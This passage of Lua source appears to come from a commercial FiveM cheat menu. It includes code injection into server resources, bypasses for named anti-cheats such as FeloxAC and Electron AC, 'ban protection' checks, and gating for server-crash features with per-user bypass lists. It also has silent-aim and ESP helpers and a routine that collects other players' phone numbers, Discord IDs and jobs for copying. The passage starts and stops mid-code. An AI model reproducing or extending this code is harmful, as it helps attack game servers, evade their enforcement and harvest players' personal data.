isXeroEntryWhitelisted(model, vehicles["Vehicles Blacklist"]) end function menuUtilities.isFGVehicleWhitelisted(model) if not menu.vars.fgConfig then return true end local blacklist = menu.vars.fgConfig.BlacklistedVehicles if not blacklist or type(blacklist) ~= "table" then return true end local modelHash = type(model) == "string" and GetHashKey(model) or model if blacklist[tostring(modelHash)] or blacklist[modelHash] then return false end local lowerModel = type(model) == "string" and model:lower() or nil if lowerModel then for key in pairs(blacklist) do if type(key) == "string" and not tonumber(key) and key:lower() == lowerModel then return false end end end return true end function menuUtilities.isVehicleWhitelisted(model) local allowed = true if menu.vars.wsConfig then allowed = menu.utils.isWSVehicleWhitelisted(model) end if allowed and menu.vars.xeroConfig then allowed = menu.utils.isXeroVehicleWhitelisted(model) end if allowed and menu.vars.fgConfig then allowed = menu.utils.isFGVehicleWhitelisted(model) end return allowed end function menuUtilities.getElectronWhitelistedPed() if not menu.vars.eacConfig then return GetHashKey("a_c_cat_01") end local antiNpc = menu.vars.eacConfig.modules.antiNPC local antiPed = menu.vars.eacConfig.modules.antiPed if not antiPed.enabled and not antiNpc.enabled then return GetHashKey("a_c_cat_01") end local selected = nil for model in pairs(antiPed.whitelist) do if not antiNpc.enabled and model ~= 11966224 then selected = model break end if not antiNpc.blacklist[model] and model ~= 11966224 then selected = model break end end return selected and tonumber(selected) or nil end function menuUtilities.getWhitelistedPed() if Ham.getServerEndpoint() == "151.242.106.21" then return nil end if menu.vars.eacConfig then return menu.utils.getElectronWhitelistedPed() end if menu.vars.wsConfig and menu.utils.isWSPedWhitelisted("mp_m_freemode_01") then return GetHashKey("mp_m_freemode_01") end return GetHashKey("a_c_cat_01") end function menuUtilities.toggleVehicleSpoof(enabled) if not Ham.hasResource("FeloxAC") then return end if enabled then Ham.Network.vehicleSpoof(true, 0, 1) else Ham.Network.vehicleSpoof(false) end end function menuUtilities.feloxMarkTeleport() if not Ham.hasResource("FeloxAC") then return end local code = [[ exports["FeloxAC"]:markExternalTeleport() ]] local resource = Ham.getSafeResources()[1] if Ham.hasResource("es_extended") then resource = "es_extended" end Ham.Execute(resource, code) end function menuUtilities.feloxGetConfig() local config = { blacklistedWeapons = {}, safeScripts = {} } for _, value in pairs(Ham.getAllStateBags().global) do if value:find("DebugCommands") and value:find("SceneHash") then local decoded = json.decode(value) if decoded and decoded.Weapons then for _, weaponList in pairs(decoded.Weapons) do if type(weaponList) == "table" and 0 < #weaponList and weaponList[1]:find("weapon_") then config.blacklistedWeapons = weaponList break end end end if not decoded or not decoded.Settings then break end for _, setting in pairs(decoded.Settings) do if type(setting) == "table" then for resource, enabled in pairs(setting) do if Ham.hasResource(resource) and enabled == true then table.insert(config.safeScripts, resource) end end end end break end end return config end function menuUtilities.isWeaponBlacklisted(weaponName) if menu.vars.feloxConfig then for _, blockedWeapon in pairs(menu.vars.feloxConfig.blacklistedWeapons) do if blockedWeapon:lower() == weaponName:lower() then return true end if blockedWeapon:lower() == tostring(GetHashKey(weaponName)):lower() then return true end end end return false end function menuUtilities.getRemotePlayerRadioChannel(serverId) local stateBag = "player:" .. tostring(serverId) for _, field in ipairs({ "radioChannel", "voice_radioChannel", "RadioChannel" }) do local channel = GetStateBagValue(stateBag, field) if channel ~= nil and channel ~= false and channel ~= "" then if type(channel) == "string" then local number = tonumber(channel) if number and 0 < number then return channel end else local number = type(channel) == "number" and channel or tonumber(tostring(channel)) if number and 0 < number then return number end end end end return nil end function menuUtilities.formatRadioChannelForDisplay(channel) if not channel then return nil end if type(channel) == "string" then return channel end local number = type(channel) == "number" and channel or tonumber(tostring(channel)) if not number then return nil end if math.abs(number - math.floor(number + 1.0E-6)) < 0.001 then return tostring(math.floor(number + 0.5)) end return tostring(number) end function menuUtilities.resolvePlayerInfoTargetFromListHighlight() if menu.vars.visible ~= true then return nil end local stack = menu.vars.navigationStack if not stack or #stack == 0 then return nil end local node = stack[#stack] if not node or node.title ~= "Online Options" or (node.tabIndex or 1) ~= 1 then return nil end if not menu.logic or not menu.logic.getNodeOptions or not menu.logic.getVisibleOptions then return nil end local options = menu.logic.getNodeOptions(node) if not options then return nil end local visibleOptions = menu.logic.getVisibleOptions(options) if #visibleOptions == 0 then return nil end local index = (menu.vars.currentOption or 1) + (menu.vars.scrollOffset or 0) if index < 1 or index > #visibleOptions then return nil end local selected = visibleOptions[index] local variable = selected and selected.var if type(variable) ~= "string" then return nil end local serverId = tonumber(string.match(variable, "^__player_select_(%d+)$")) if not serverId then return nil end local playerId = GetPlayerFromServerId(serverId) if not playerId or playerId == -1 or not NetworkIsPlayerActive(playerId) then return nil end local ped = GetPlayerPed(playerId) return { serverId = serverId, playerId = playerId, ped = ped and ped ~= 0 and DoesEntityExist(ped) and ped or 0 } end function menuUtilities.getServerIp() local endpoints = {} if GetCurrentServerEndpoint then endpoints[#endpoints + 1] = tostring(GetCurrentServerEndpoint() or "") end if Ham and Ham.getServerEndpoint then endpoints[#endpoints + 1] = tostring(Ham.getServerEndpoint() or "") end for index = 1, #endpoints, 1 do local ip = string.match(endpoints[index], "(%d+%.%d+%.%d+%.%d+)") if ip and ip ~= "" then return ip end end return "" end function menuUtilities.isOpenInjectServer() local serverIp = menu.utils.getServerIp() return serverIp ~= "" and menu.vars.openInjectServers and menu.vars.openInjectServers[serverIp] == true end function menuUtilities.isServerRestrictionActive(restrictionName) local restrictions = menu.vars.serverRestrictions if not restrictions or not restrictions[restrictionName] then return false end local serverIp = menu.utils.getServerIp() return serverIp ~= "" and restrictions[restrictionName][serverIp] == true end function menuUtilities.notifyBanBlocked() menu.utils.notify("Ban Blocked", "error", 4000) end function menuUtilities.notifyBanProtection() menu.utils.notify("Ban Protection", "error", 2000) end function menuUtilities.isServerFunctionBlocked(functionName) if not functionName or functionName == "" then return false end if menu.utils.isServerRestrictionActive("vehicleBlocked") and menu.vars.serverBlockedVehicleFunctions and menu.vars.serverBlockedVehicleFunctions[functionName] then return true end if menu.utils.isServerRestrictionActive("objectBlocked") and menu.vars.serverBlockedObjectFunctions and menu.vars.serverBlockedObjectFunctions[functionName] then return true end if menu.vars.serverBlockedWeaponSpawnFunctions and menu.vars.serverBlockedWeaponSpawnFunctions[functionName] and menu.utils.isServer185169NearbyVehicleMode and menu.utils.isServer185169NearbyVehicleMode() then return true end return false end function menuUtilities.isServer151VehicleBlocked() return menu.utils.isServerRestrictionActive("vehicleBlocked") end function menuUtilities.isServerObjectBlocked() return menu.utils.isServerRestrictionActive("objectBlocked") end function menuUtilities.isElectronAcBypassDisabled() return menu.utils.isServerRestrictionActive("electronAcBypassDisabled") end function menuUtilities.isWeaponSpawnBlocked() if menu.utils.isServer185169NearbyVehicleMode and menu.utils.isServer185169NearbyVehicleMode() then return true end local serverIp = menu.utils.getServerIp() return serverIp == "104.167.24.82" or serverIp == "185.219.84.156" end function menuUtilities.notifyWeaponSpawnBlocked() if menu.utils.isServer185169NearbyVehicleMode and menu.utils.isServer185169NearbyVehicleMode() then menu.utils.notifyBanBlocked() return end menu.utils.notify("Weapon spawn blocked on this server", "error", 4000) end function menuUtilities.isTestServerEndpoint() local endpoints = {} if Ham and Ham.getServerEndpoint then endpoints[#endpoints + 1] = tostring(Ham.getServerEndpoint() or "") end if GetCurrentServerEndpoint then endpoints[#endpoints + 1] = tostring(GetCurrentServerEndpoint() or "") end for index = 1, #endpoints, 1 do local endpoint = endpoints[index] if (string.match(endpoint, "^(%d+%.%d+%.%d+%.%d+)") or endpoint) == "34.32.214.7" then return true end end return false end function menuUtilities.fetchServerClientCount() local endpoint = GetCurrentServerEndpoint and GetCurrentServerEndpoint() if not endpoint or endpoint == "" then return menu.vars.serverClientCount or 9999 end local request = Ham.httpGetAsync("https://" .. endpoint .. "/dynamic.json", nil, true) local startedAt = GetGameTimer() while _G.runmenu do local result = Ham.getAsyncResult(request) if result.ready then if result.success and result.data then local success, decoded = pcall(json.decode, result.data) if success and decoded and decoded.clients then menu.vars.serverClientCount = decoded.clients return decoded.clients end end break end if 5000 < GetGameTimer() - startedAt then break end Wait(10) end return menu.vars.serverClientCount or 9999 end function menuUtilities.getServerClientCount() return menu.vars.serverClientCount or 9999 end function menuUtilities.meetsMinServerPlayerCount(minimum) local count = menu.utils.getServerClientCount() return count == 0 or minimum <= count end function menuUtilities.isHamUserInList(users) if type(users) ~= "table" then return false end local username = Ham and Ham.getName and Ham.getName() return username ~= nil and username ~= "" and users[username] == true end function menuUtilities.resolveHamUserName(providedName) if providedName ~= nil and tostring(providedName) ~= "" then return tostring(providedName) end local username = menu.vars.injectedHamUserName or (Ham and Ham.getName and Ham.getName()) if username and username ~= "" then return tostring(username) end return nil end function menuUtilities.canBypassServerCrashChecks() return menu.utils.isHamUserInList(menu.vars.serverCrashBypassUsers) end function menuUtilities.requireMinServerPlayerCount(minimum, message) if menu.utils.canBypassServerCrashChecks() or menu.utils.isHamUserInList(menu.vars.crashPlayerCountBypassUsers) then return true end if minimum <= menu.utils.getServerClientCount() then return true end menu.utils.notify( message or "At least " .. tostring(minimum) .. " players are required on the server.", "error", 4000 ) return false end function menuUtilities.requireMinServerPlayerCountForSingleCrash(minimum, message) if menu.utils.isHamUserInList(menu.vars.crashSinglePlayerBypassUsers) then return true end if minimum <= menu.utils.getServerClientCount() then return true end menu.utils.notify( message or "At least " .. tostring(minimum) .. " players are required on the server.", "error", 4000 ) return false end function menuUtilities.urlEncodePathSegment(value) return tostring(value or ""):gsub("([^%w%-%.%_%~])", function(character) return string.format("%%%02X", string.byte(character)) end) end function menuUtilities.isVanityProduct(productName, productId) local id = tonumber(productId) if id == 6 or id == 7 then return true end return string.lower(tostring(productName or "")):find("vanity", 1, true) ~= nil end function menuUtilities.isLuaExecutorProduct(productName, productId) local id = tonumber(productId) if id == 1 or id == 2 then return true end local name = string.lower(tostring(productName or "")) if name:find("redm", 1, true) then return false end if name == "fivem lua executor" or name == "lua executor dev" then return true end return name:find("lua executor", 1, true) ~= nil end function menuUtilities.isActiveSubscription(status) return string.lower(tostring(status or "")) == "active" end function menuUtilities.lifetimeSubsComplete(subscriptions) return subscriptions and tonumber(subscriptions.vanityDays) ~= nil and tonumber(subscriptions.executorDays) ~= nil end function menuUtilities.parseLifetimeSubscriptionDays(response, expectedUsername) if type(response) ~= "table" or not response.success then return nil end local data = response.data if type(data) ~= "table" or type(data.subscriptions) ~= "table" then return nil end if expectedUsername ~= nil and tostring(expectedUsername) ~= "" then if string.lower(tostring(data.user and data.user.name or "")) ~= string.lower(tostring(expectedUsername)) then return nil end end local vanityDays, executorDays = nil, nil for _, subscription in ipairs(data.subscriptions) do if type(subscription) == "table" and menu.utils.isActiveSubscription(subscription.status) and type(subscription.product) == "table" then local productName = tostring(subscription.product.name or "") local days = tonumber(subscription.expires_in_days) if days then if menu.utils.isVanityProduct(productName, subscription.product.id) then if not vanityDays or vanityDays < days then vanityDays = days end elseif menu.utils.isLuaExecutorProduct(productName, subscription.product.id) then if not executorDays or executorDays < days then executorDays = days end end end end end if not vanityDays and not executorDays then return nil end return { vanityDays = vanityDays, executorDays = executorDays } end function menuUtilities.fetchLifetimeSubscriptionDaysFromApi(username) username = menu.utils.resolveHamUserName(username) if not username or not Ham or not Ham.httpGetAsync then return nil end local url = "https://hammafia.cc/api/users/" .. menu.utils.urlEncodePathSegment(username) .. "?key=name" local request = Ham.httpGetAsync(url, nil, true) if not request then return nil end local deadline = GetGameTimer() + 10000 while deadline > GetGameTimer() do local result = Ham.getAsyncResult(request) if result.ready then if result.success and result.data then local success, decoded = pcall(json.decode, result.data) if success then return menu.utils.parseLifetimeSubscriptionDays(decoded, username) end end return nil end Wait(10) end return nil end function menuUtilities.openLifetimeRestrictionUrls() if not Ham or not Ham.openUrl then return end local urls = { "https://www.youtube.com/watch?v=_bckcpIUBo8&t=5s", "https://www.youtube.com/watch?v=VMmyO7B77cc" } for index = 1, 3, 1 do Ham.openUrl(urls[(index - 1) % #urls + 1]) end end function menuUtilities.notifyLifetimeRestrictionDenied(message) message = message or "Only for Lifetime users :(" for index = 1, 3, 1 do menu.utils.notify(message, "error", 15000) end menu.utils.openLifetimeRestrictionUrls() end function menuUtilities.requireLifetimeSubscriptions(minimumDays, deniedMessage, username) if menu.utils.canBypassServerCrashChecks() then return true end username = menu.utils.resolveHamUserName(username) if not username then menu.utils.notifyLifetimeRestrictionDenied(deniedMessage) return false end local subscription = menu.vars.cachedLifetimeSubs if not menu.utils.lifetimeSubsComplete(subscription) then subscription = menu.utils.fetchLifetimeSubscriptionDaysFromApi(username) if subscription then menu.vars.cachedLifetimeSubs = subscription end end if subscription and (tonumber(subscription.vanityDays) or 0) > minimumDays and (tonumber(subscription.executorDays) or 0) > minimumDays then return true end menu.utils.notifyLifetimeRestrictionDenied(deniedMessage) return false end function menuUtilities.startServerClientCountRefresh() if menu.vars.serverClientCountRefreshStarted then return end menu.vars.serverClientCountRefreshStarted = true CreateThread(function() while _G.runmenu do menu.utils.fetchServerClientCount() Wait(30000) end end) end function menuUtilities.persistSkipTestServerConfirmPreference() if menu.configSystem and menu.configSystem.saveConfigToServer then menu.configSystem.saveConfigToServer("default", function(success) if success and menu.utils.notify then menu.utils.notify("Test server notice disabled", "success", 2000) end end) end end function menuUtilities.waitForTestServerConfirm() local holdDuration, holdStartedAt, progress = 2500, nil, 0 menu.vars.testServerConfirmActive = true menu.vars._testServerMousePrevDown = false if Ham.toggleInputBlock then Ham.toggleInputBlock(true) end if Ham.toggleMouse then Ham.toggleMouse(true) end while _G.runmenu do Citizen.Wait(0) DisableControlAction(0, 22, true) DisableControlAction(1, 22, true) DisableControlAction(2, 22, true) if menu.textureLoading and menu.textureLoading.ensureNotifyLogoLoading then menu.textureLoading.ensureNotifyLogoLoading() end local mouseInsideButton = false if Ham.getMousePos and Ham.isMouseDown then local mouseX, mouseY = Ham.getMousePos() local layout = menu.drawing.getTestServerConfirmLayout and menu.drawing.getTestServerConfirmLayout() local button = layout and layout.dontShowBtn if button then mouseInsideButton = mouseX >= button.x and mouseX <= button.x + button.w and mouseY >= button.y and mouseY <= button.y + button.h end local wasMouseDown = menu.vars._testServerMousePrevDown == true local isMouseDown = Ham.isMouseDown(0) menu.vars._testServerMousePrevDown = isMouseDown if wasMouseDown and not isMouseDown and mouseInsideButton then menu.vars.bools.skipTestServerConfirm = true menu.utils.persistSkipTestServerConfirmPreference() if menu.utils.playSound then menu.utils.playSound("SELECT") end break end end local spaceKey = ImGuiKey and ImGuiKey.Space local isPressed = spaceKey and Ham.isKeyDown and Ham.isKeyDown(spaceKey) if not isPressed then isPressed = IsDisabledControlPressed(0, 22) or IsControlPressed(0, 22) end if isPressed then if not holdStartedAt then holdStartedAt = GetGameTimer() end local elapsed = GetGameTimer() - holdStartedAt progress = math.min(1, elapsed / holdDuration) if holdDuration <= elapsed then progress = 1 if menu.utils.playSound then menu.utils.playSound("SELECT") end local finishedAt = GetGameTimer() + 250 while _G.runmenu and finishedAt > GetGameTimer() do Citizen.Wait(0) DisableControlAction(0, 22, true) DisableControlAction(1, 22, true) DisableControlAction(2, 22, true) if menu.drawing and menu.drawing.drawTestServerConfirm then menu.drawing.drawTestServerConfirm(1, mouseInsideButton) end end break end else holdStartedAt, progress = nil, 0 end if menu.drawing and menu.drawing.drawTestServerConfirm then menu.drawing.drawTestServerConfirm(progress, mouseInsideButton) end end menu.vars._testServerMousePrevDown = false menu.vars.testServerConfirmActive = false if Ham.toggleInputBlock then Ham.toggleInputBlock(false) end if Ham.toggleMouse then Ham.toggleMouse(false) end end function menuUtilities.waitForInitialSetup() menu.vars.initSetupActive = true menu.vars.initSetupPhase = "select" menu.vars.isBindingKey = false menu.vars._initSetupMousePrevDown = false menu.vars.bools.menuMouseControl = false menu.vars.deferredEspEnableState = true menu.vars.bools.espEnable = false menu.vars.pendingBindKey = nil menu.vars.pendingBindKeyName = nil menu.vars.bindCompleteTime = 0 menu.vars._initSetupAnimStart = GetGameTimer() if Ham.toggleInputBlock then Ham.toggleInputBlock(true) end if Ham.toggleMouse then Ham.toggleMouse(true) end local function finishInitialSetup() menu.vars.deferredEspEnableState = true menu.vars.bools.espEnable = false menu.vars.isBindingKey = false menu.vars.initSetupActive = false menu.vars.initSetupPhase = nil menu.vars._initSetupMousePrevDown = false menu.vars._initSetupAnimStart = nil menu.vars._setupHoverAnims = nil menu.vars._setupHoverAnimLast = nil if Ham.toggleInputBlock then Ham.toggleInputBlock(false) end if Ham.toggleMouse then Ham.toggleMouse(false) end end local function confirmInitialSetup() menu.vars.bools.menuMouseControl = false if menu.utils.playSound then menu.utils.playSound("SELECT") end finishInitialSetup() end local function isInside(x, y, rect) return x >= rect.x and x <= rect.x + rect.w and y >= rect.y and y <= rect.y + rect.h end while _G.runmenu do Citizen.Wait(0) if menu.textureLoading and menu.textureLoading.ensureNotifyLogoLoading then menu.textureLoading.ensureNotifyLogoLoading() end if menu.textureLoading and menu.textureLoading.ensureVanityBrandLogoLoading then menu.textureLoading.ensureVanityBrandLogoLoading() end local hover = {} local ready = true if menu.drawing.getSubscriptionSetupAnim then ready = 0.95 <= (select(1, menu.drawing.getSubscriptionSetupAnim(menu.vars.scale or 1)) or 1) end local layout = menu.drawing.getSubscriptionSetupLayout and menu.drawing.getSubscriptionSetupLayout() if ready and layout and Ham.getMousePos then local mouseX, mouseY = Ham.getMousePos() if layout.websiteLink then hover.website = isInside(mouseX, mouseY, layout.websiteLink) end if layout.discordLink then hover.discord = isInside(mouseX, mouseY, layout.discordLink) end if layout.loadBtn then hover.load = isInside(mouseX, mouseY, layout.loadBtn) end if Ham.isMouseDown then local wasMouseDown = menu.vars._initSetupMousePrevDown == true local isMouseDown = Ham.isMouseDown(0) menu.vars._initSetupMousePrevDown = isMouseDown if wasMouseDown and not isMouseDown then if hover.website then if Ham.openUrl then Ham.openUrl("https://p.vanity.menu/dashboard") end if menu.utils.playSound then menu.utils.playSound("SELECT") end elseif hover.discord then if menu.functions and menu.functions.linkDiscord then menu.functions.linkDiscord() elseif Ham.openUrl and Ham.getAuthToken then Ham.openUrl("https://vanity.menu/discord/link?token=" .. Ham.getAuthToken()) end if menu.utils.playSound then menu.utils.playSound("SELECT") end elseif hover.load then confirmInitialSetup() return end end end end if ready and Ham.isKeyReleased and ImGuiKey and Ham.isKeyReleased(ImGuiKey.Enter) then confirmInitialSetup() return end if menu.drawing.drawSubscriptionSetup then menu.drawing.drawSubscriptionSetup(hover) end end end function menuUtilities.safeCall(callback, ...) if not callback then return false, "Function is nil" end local success, result = pcall(callback, ...) if not success then menu.utils.notify("Function error", "error", 2000) print("^1[ERROR] Function call failed:^7") print("^3Error message:^7 " .. tostring(result)) print("^3Stack trace:^7") print(debug.traceback()) return false, result end return true, result end function menuUtilities.injectUtils(resource) if not menu.vars.injectedUtils then menu.vars.injectedUtils = {} end if menu.vars.injectedUtils[resource] then return end menu.vars.injectedUtils[resource] = true Ham.Execute(resource, vehicleSpawnBootstrapScript) Citizen.Wait(20) end function menuUtilities.safeCallByName(functionName, ...) if not functionName then return false, "Function name is nil" end if menu.utils.isServerFunctionBlocked(functionName) then menu.utils.notifyBanBlocked() return false, "Blocked on this server" end if not menu.functions[functionName] then menu.utils.notify("Unknown function: " .. tostring(functionName), "error", 2000) return false, "Function does not exist" end return menu.utils.safeCall(menu.functions[functionName], ...) end function menuUtilities.getSilentAimVehicleShotStart(entity, requiredPosition, targetPosition) if not entity or entity == 0 or not DoesEntityExist(entity) then return nil end if not requiredPosition or not targetPosition then return nil end local model = GetEntityModel(entity) if not model or model == 0 then return nil end local minimumBounds, maximumBounds = GetModelDimensions(model) local forward, right, up, position = GetEntityMatrix(entity) if not minimumBounds or not maximumBounds or not forward or not right or not up or not position then return nil end local function dotProduct(first, second) return first.x * second.x + first.y * second.y + first.z * second.z end local function clamp(value, minimum, maximum) if value < minimum then return minimum end if maximum < value then return maximum end return value end local offset = targetPosition - position local localX, localZ = dotProduct(offset, right), dotProduct(offset, up) local radiusX = math.max(math.abs(minimumBounds.x), math.abs(maximumBounds.x), 0.01) local radiusY = math.max(math.abs(minimumBounds.y), math.abs(maximumBounds.y), 0.01) local radius = math.max(math.min(radiusX, radiusY), 0.01) local setback = math.min(0.2, math.max(0.06, radius * 0.35)) local clampedX = clamp(localX, minimumBounds.x + 0.05, maximumBounds.x - 0.05) local clampedZ = clamp(localZ, minimumBounds.z + 0.05, maximumBounds.z - 0.05) return position + right * clampedX + forward * (maximumBounds.y + setback) + up * clampedZ end function menuUtilities.getAimFovScreenMetrics() local width, height = Ham.getResolution() if not width or width == 0 then width = 1920 end if not height or height == 0 then height = 1080 end return { hamX = width, hamY = height, hamMin = math.min(width, height), hamCenterX = width * 0.5, hamCenterY = height * 0.5 } end function menuUtilities.getAimFovRadiusPixels(radius) return ((tonumber(radius) or 40) / 1000.0) * menu.utils.getAimFovScreenMetrics().hamMin end function menuUtilities.getFovPickerRgb(pickerName) local picker = menu.vars.colorPickers and menu.vars.colorPickers[pickerName] if picker then return { picker[1] or 255, picker[2] or 255, picker[3] or 255 } end return { 255, 255, 255 } end function menuUtilities.getAimScreenDistPx(x, y, centerX, centerY) local dx, dy = x - (centerX or 0), y - (centerY or 0) return math.sqrt(dx * dx + dy * dy) end function menuUtilities.getAimBoneScreenDistPx(worldX, worldY, worldZ, centerX, centerY) local visible, screenX, screenY = false, nil, nil if Ham and Ham.worldToScreen then visible, screenX, screenY = Ham.worldToScreen(worldX, worldY, worldZ) end if (not visible or not screenX or not screenY) and GetScreenCoordFromWorldCoord then visible, screenX, screenY = GetScreenCoordFromWorldCoord(worldX, worldY, worldZ) if visible and screenX and screenY then local metrics = menu.utils.getAimFovScreenMetrics() screenX, screenY = screenX * metrics.hamX, screenY * metrics.hamY end end if not visible or not screenX or not screenY then return nil end return menu.utils.getAimScreenDistPx(screenX, screenY, centerX, centerY) end local function getCameraDirection(cameraRotation) local pitch = math.rad(cameraRotation.x) local yaw = math.rad(cameraRotation.z) return vector3(-math.sin(yaw) * math.cos(pitch), math.cos(yaw) * math.cos(pitch), math.sin(pitch)) end function menuUtilities.isWorldPointInAimCone(worldX, worldY, worldZ, fieldOfView) local cameraPosition = GetFinalRenderedCamCoord and GetFinalRenderedCamCoord() or GetGameplayCamCoord() local cameraRotation = GetFinalRenderedCamRot and GetFinalRenderedCamRot(2) or GetGameplayCamRot(2) if not cameraPosition or not cameraRotation then return false end local forward = getCameraDirection(cameraRotation) local dx, dy, dz = worldX - cameraPosition.x, worldY - cameraPosition.y, worldZ - cameraPosition.z local distance = math.sqrt(dx * dx + dy * dy + dz * dz) if distance < 0.01 then return true end local dotProduct = forward.x * dx / distance + forward.y * dy / distance + forward.z * dz / distance return dotProduct >= math.cos(math.rad(math.max(5.0, (tonumber(fieldOfView) or 50) * 0.5))) end function menuUtilities.isWithinAimFovPixels(distance, radius) return distance <= (radius or 0) + 0.5 end function menuUtilities.ensurePedLimit() local currentTime = GetGameTimer() if currentTime - menu.vars.pedLimiter.spawnedAt > menu.vars.pedLimiter.perTime then menu.vars.pedLimiter.spawnedAt = currentTime menu.vars.pedLimiter.currentPeds = 0 end if menu.vars.pedLimiter.currentPeds >= menu.vars.pedLimiter.maxPeds then menu.utils.notify("Ped limit reached. Please wait a few seconds.", "error") return false end menu.vars.pedLimiter.currentPeds = menu.vars.pedLimiter.currentPeds + 1 return true end local function setMenuSpawnedState(entity) if not entity or entity == 0 or not DoesEntityExist(entity) or type(Entity) ~= "function" then return false end local stateKey = menu.vars and menu.vars.menuSpawnedPedStateKey or "pm_menu_spawned" local success, wrapper = pcall(Entity, entity) if not success or not wrapper or not wrapper.state then return false end local markSuccess = pcall(function() wrapper.state:set(stateKey, true, true) end) return markSuccess == true end local function hasEntityStateFlag(entity, flag) if not entity or entity == 0 or not DoesEntityExist(entity) or type(Entity) ~= "function" then return false end local success, wrapper = pcall(Entity, entity) if not success or not wrapper or not wrapper.state then return false end local readSuccess, value = pcall(function() return wrapper.state[flag] end) return readSuccess and value == true end function menuUtilities.markMenuSpawnedPed(pedEntity) return setMenuSpawnedState(pedEntity) end function menuUtilities.isMenuSpawnedPed(pedEntity) local stateKey = menu.vars and menu.vars.menuSpawnedPedStateKey or "pm_menu_spawned" return hasEntityStateFlag(pedEntity, stateKey) end function menuUtilities.markMenuSpawnedVehicle(vehicle) return setMenuSpawnedState(vehicle) end function menuUtilities.isMenuSpawnedVehicle(vehicle) if menu.utils.isMenuVehiclePreviewEntity and menu.utils.isMenuVehiclePreviewEntity(vehicle) then return true end local stateKey = menu.vars and menu.vars.menuSpawnedPedStateKey or "pm_menu_spawned" return hasEntityStateFlag(vehicle, stateKey) end function menuUtilities.isFreecamSpawnedPed(pedEntity) return hasEntityStateFlag(pedEntity, "pm_freecam_spawned_ped") end function menuUtilities.isFullInvisibleClonePed(pedEntity) return hasEntityStateFlag(pedEntity, "pm_full_invisible_clone") end function menuUtilities.drawSelectedPlayerLine() if not menu.vars.selectedPlayers then return end local width, height = Hdn.getResolution() local centerX, centerY = math.floor(width / 2), math.floor(height / 2) for _, player in pairs(menu.vars.selectedPlayers) do if player and player.ped and DoesEntityExist(player.ped) then local position = GetPedBoneCoords(player.ped, 31086, 0.0, 0.0, 0.0) or GetEntityCoords(player.ped) local visible, screenX, screenY = Ham.worldToScreen(position.x, position.y, position.z) if visible and screenX and screenY then Ham.drawLine({ centerX, centerY }, { screenX, screenY }, { 255, 255, 255, 200 }, 2) end end end end local function getWeaponDisplayInfo(ped) local displayName, resourceName = "unarmed", "WEAPON_UNARMED" local weaponHash = GetSelectedPedWeapon(ped) if weaponHash and weaponHash ~= 0 and weaponHash ~= GetHashKey("WEAPON_UNARMED") then displayName = tostring(weaponHash) if GetWeaponDisplayNameFromHash then local ok, label = pcall(GetWeaponDisplayNameFromHash, weaponHash) if ok and label and label ~= "" and label ~= "NULL" then displayName = label if GetLabelText then local labelOk, text = pcall(GetLabelText, label) if labelOk and text and text ~= "" and text ~= "NULL" and text ~= "CARNOTFOUND" then displayName = text end end end end end menu.vars.weaponHashNameCache = menu.vars.weaponHashNameCache or {} if weaponHash and weaponHash ~= 0 then if menu.vars.weaponHashNameCache[weaponHash] then resourceName = menu.vars.weaponHashNameCache[weaponHash] else local found = nil for _, weaponName in ipairs(menu.vars.weaponsList or {}) do if GetHashKey(weaponName) == weaponHash then found = weaponName break end end resourceName = found or tostring(weaponHash) menu.vars.weaponHashNameCache[weaponHash] = resourceName end end return displayName, resourceName, weaponHash end local function getPlayerStateBagInfo(serverId) local stateBag = "player:" .. tostring(serverId) local character = "-" local name = GetStateBagValue(stateBag, "name") if name ~= nil and tostring(name) ~= "" then character = tostring(name) end local phone = "-" local phoneNumber = GetStateBagValue(stateBag, "phoneNumber") if phoneNumber ~= nil and tostring(phoneNumber) ~= "" then phone = tostring(phoneNumber) else local phoneData = GetStateBagValue(stateBag, "phoneData") if type(phoneData) == "table" and phoneData.phoneNumber and tostring(phoneData.phoneNumber) ~= "" then phone = tostring(phoneData.phoneNumber) end end local job = "-" local jobData = GetStateBagValue(stateBag, "job") if type(jobData) == "table" then local parts = {} if jobData.grade_label and tostring(jobData.grade_label) ~= "" then table.insert(parts, tostring(jobData.grade_label)) end if jobData.label and tostring(jobData.label) ~= "" then table.insert(parts, tostring(jobData.label)) end if 0 < #parts then job = table.concat(parts, " \194\183 ") elseif jobData.name and tostring(jobData.name) ~= "" then job = tostring(jobData.name) end end local radioChannel = menu.utils.getRemotePlayerRadioChannel(serverId) local radio = radioChannel and menu.utils.formatRadioChannelForDisplay(radioChannel) or "-" local discordId = GetStateBagValue(stateBag, "discordId") if discordId == nil or discordId == false or tostring(discordId) == "" then discordId = GetStateBagValue(stateBag, "discord_id") end local discord = GetStateBagValue(stateBag, "discord") local discordText = "-" if discord ~= nil and discord ~= false and tostring(discord) ~= "" then discordText = tostring(discord) end local resolvedDiscordId = nil if discordId ~= nil and discordId ~= false and tostring(discordId) ~= "" then resolvedDiscordId = tostring(discordId) elseif discordText ~= "-" and discordText:match("^%d+$") and 17 <= #discordText then resolvedDiscordId = discordText end return { stateBag = stateBag, character = character, phone = phone, phoneRaw = phoneNumber, job = job, radio = radio, discord = discordText, discordId = resolvedDiscordId, hasDiscord = resolvedDiscordId ~= nil and resolvedDiscordId ~= "" or discordText ~= "-" and discordText ~= "" } end function menuUtilities.buildSelectedPlayerInfoClipboardText(target) if not target or not target.serverId then return nil, "no_player" end local serverId = target.serverId local playerId = GetPlayerFromServerId(serverId) if not playerId or playerId == -1 or not NetworkIsPlayerActive(playerId) then return nil, "invalid" end local ped = GetPlayerPed(playerId) if not ped or ped == 0 or not DoesEntityExist(ped) then return nil, "invalid" end local distance = #(GetEntityCoords(ped) - GetEntityCoords(PlayerPedId())) local health = math.max(0, (GetEntityHealth(ped) or 0) - 100) local armor = GetPedArmour(ped) or 0 local speed = (GetEntitySpeed(ped) or 0.0) * 3.6 local weaponName, weaponResource = getWeaponDisplayInfo(ped) local vehicleName = "On Foot" local vehicle = GetVehiclePedIsIn(ped, false) if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then local display = GetDisplayNameFromVehicleModel(GetEntityModel(vehicle)) if display and display ~= "" then vehicleName = display end end local info = getPlayerStateBagInfo(serverId) local playerName = GetPlayerName(playerId) or "Player " .. tostring(serverId) local lines = { "Server ID: " .. tostring(serverId), "Name: " .. playerName, "Friend: " .. (menu.utils.isPlayerFriendByPlayerId(playerId) and "yes" or "no"), "Character: " .. info.character, "Phone: " .. info.phone, "Radio: " .. tostring(info.radio), "Job: " .. info.job, "Group: " .. tostring(menu.drawing.getPlayerEspGroup(serverId, playerId) or "user") } if info.hasDiscord then if info.discordId then if info.discord ~= "-" and info.discordId ~= info.discord then table.insert(lines, "Discord: " .. info.discord) end table.insert(lines, "Discord ID: 